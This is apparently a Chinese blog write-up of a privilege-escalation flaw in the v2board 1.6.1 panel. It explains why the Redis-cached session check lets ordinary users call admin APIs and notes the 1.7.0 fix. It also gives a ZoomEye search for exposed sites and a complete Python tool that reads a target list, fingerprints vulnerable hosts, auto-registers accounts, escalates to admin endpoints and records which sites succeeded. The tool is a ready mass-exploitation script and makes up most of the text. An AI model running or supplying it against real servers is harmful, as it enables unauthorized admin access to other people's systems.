v2board v.1.6.1 越权访问

项目介绍

v2board 是一个开源机场项目,在 GitHub 上有 3.5k 的 star。

image-20231020152531923

ZoomEye 搜索语法:app:”v2board”

image-20231020152635684

漏洞介绍

v2board 在 1.6.1 版本中存在一个越权访问漏洞。由于 v2board 引入了对于用户 Session 的缓存机制,服务器会将用户的认证信息储存在 Redis 缓存中,但是程序在使用 Redis 缓存后没有对普通用户和管理员用户做一个鉴权,以普通用户登陆后可以直接请求管理员的接口。

安全版本

v2board >= 1.7.0

修复建议

厂商已修复该漏洞,建议受影响用户及时升级至 1.7.0 及以上版本。

详细分析

漏洞点在 app/Http/Middleware/Admin.php

image-20231020153904531

在本处代码判断 Redis 中是否存在 authorization,如果存在就能访问 admin 这个接口,而程序并没有进一步对 authorization 进行判断,检查是否为管理员的 authorization 。在 1.7.0 版本中,本处代码去掉了从缓存中判断的逻辑。

image-20231020154314517

我们知道程序通过 Redis 缓存中的 authorization 进行管理员权限判断,那么如何将 authorization 写入 Redis 呢?

v2board 使用了 Laravel 框架进行开发,我们能从 app/Http/Middleware/user.php 文件找到 /api/v1/user/* 接口对应的用来处理权限的自定义中间件。通过代码我们可以明确的知道,程序会从请求头中获取 authorization 通过鉴权后将数据写入 Redis。所以我们可以通过请求 /api/v1/user/getStat/api/v1/user/info 之类的接口将 authorization 写入到缓存。(其实其他大部分接口都行)

image-20231023015009480

POC

通过上述分析,我们可以得到一个漏洞验证流程。

  1. 需要注册一个普通账号。
  2. 使用普通账号登陆,获取 auth_data
  3. auth_data 作为 authorization 请求头的值,去请求 /api/v1/user/* 接口。
  4. 去访问管理员才能访问的接口,对比响应状态码确定漏洞是否利用成功。

通过对比 1.6.1 版本与 1.7.0 版本,我们可以发现二者在处理鉴权时返回的数据存在相当的不同,我们可以通过该处差异对网站进行第一步的筛选,去除掉不存在漏洞的部分。

image-20231023084645483

同时,v2board 的注册方式也存在一定的限制。部分站点不需要任何验证就能注册,而有些需要邮箱验证,更有甚者需要邀请码验证。所以我们还需要对这一部分进行筛选。

image-20231023084927398

解决上述的问题后,我们就能够写出如下POC代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
import random
import requests
import urllib3

headers = {
'authorization': '1',
'user-agent': 'Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.7113.93 Safari/537.36',
}

proxy = {
'http': 'http://127.0.0.1:10809',
'https': 'http://127.0.0.1:10809'
}


def poc(target):
"""
检测目标v2board是否为v1.6.1漏洞版本
"""
path = '/api/v1/admin/config/fetch'
url = f"{target}{path}".replace('//api', '/api')
urllib3.disable_warnings()
r = requests.get(url, headers=headers, verify=False, proxies=proxy)
if r.status_code == 403 and '\\u9274\\u6743\\u5931\\u8d25' in r.text:
print(f"[+]{target}存在漏洞!")
return True
else:
print(f"[-]{target}不存在漏洞!")
return False


def check_verify(target):
"""
判断目标注册是否需要邮箱、邀请验证
"""
path = '/api/v1/guest/comm/config'
url = f"{target}{path}".replace('//api', '/api')
resp = requests.get(url, headers=headers, proxies=proxy).json()['data']
if not resp['is_invite_force'] and not resp['is_email_verify']:
print(f"[+]目标无需邮箱验证,可直接获取权限")
return True
elif resp['is_invite_force']:
print(f"[-]目标需要邀请注册,无法获取权限!")
return False
elif resp['is_email_verify']:
print(f"[-]目标需要获取邮箱验证码才能进一步利用!")
return False


def registry_acc(target):
"""
随机注册账号,并返回auth_data
"""
rand_num = str(random.random())[8:]
QQ_mail = rand_num + '@qq.com'
passwd = rand_num

data = {
'email': QQ_mail,
'password': passwd,
'invite_code': '',
'email_code': ''
}
path = '/api/v1/passport/auth/register'
url = f"{target}{path}".replace('//api', '/api')

r = requests.post(url, headers=headers, data=data, proxies=proxy)
if r.status_code == 200:
print(f"[+]当前随机注册的账号为{QQ_mail},密码为{passwd}")
return QQ_mail, passwd
else:
print(f"[-]目标已关闭账号注册!")
return '', ''


def login(target, email, passwd):
"""
登录后需要请求 /user/* 将 authorization 写入缓存
"""
data = {
'email': email,
'password': passwd
}
path = '/api/v1/passport/auth/login'
url = f"{target}{path}".replace('//api', '/api')
r = requests.post(url, headers=headers, data=data, proxies=proxy)
if r.status_code == 200:
print('[+]账号登录成功!')
auth_data = r.json()['data']['auth_data']
headers['authorization'] = auth_data
requests.get(f'{target}/api/v1/user/info', headers=headers, proxies=proxy)
requests.get(f'{target}/api/v1/user/getStat', headers=headers, proxies=proxy)
return auth_data
else:
print('[-]账号登录失败!')
return ''


def dump(target):
"""
尝试获取部分接口的信息作为判断漏洞是否利用成功的依据
"""
path = '/api/v1/admin/config/fetch'
url = str(f'{target}{path}').replace('//api', '/api')
urllib3.disable_warnings()
resp = requests.get(url, headers=headers, timeout=60, verify=False, proxies=proxy)
if resp.status_code == 200:
print('[+]抓取成功')
return True
print('[-]抓取失败')
return False


def get_target(filepath):
with open(filepath, 'r') as file:
return [str(item).strip() for item in file]


def save_data(filepath, data):
with open(filepath, 'w') as file:
for item in data:
file.write(f'{item}\n')


if __name__ == '__main__':
filepath = 'data/v2board_all.txt'
output_file = 'data/v2board_output.txt'
target_list = get_target(filepath=filepath)
sample = []
for target in target_list:
try:
if not poc(target):
continue
if not check_verify(target):
continue
email, passwd = registry_acc(target)
if not email:
continue
if login(target=target, email=email, passwd=passwd):
if dump(target):
sample.append(target)
except Exception as msg:
print(f'[-]发生错误:{msg}')
print(sample)
save_data(filepath=output_file, data=sample)

一些琐碎

  1. 蛮简单的一个逻辑漏洞,就是写成 POC 存在一点点难度
  2. 作为站长,在开放注册功能时应当尽可能的谨慎,应当添加更多的限制机器账号注册
  3. 生产环境中,返回的数据应当尽量少的暴露程序自身的运行状况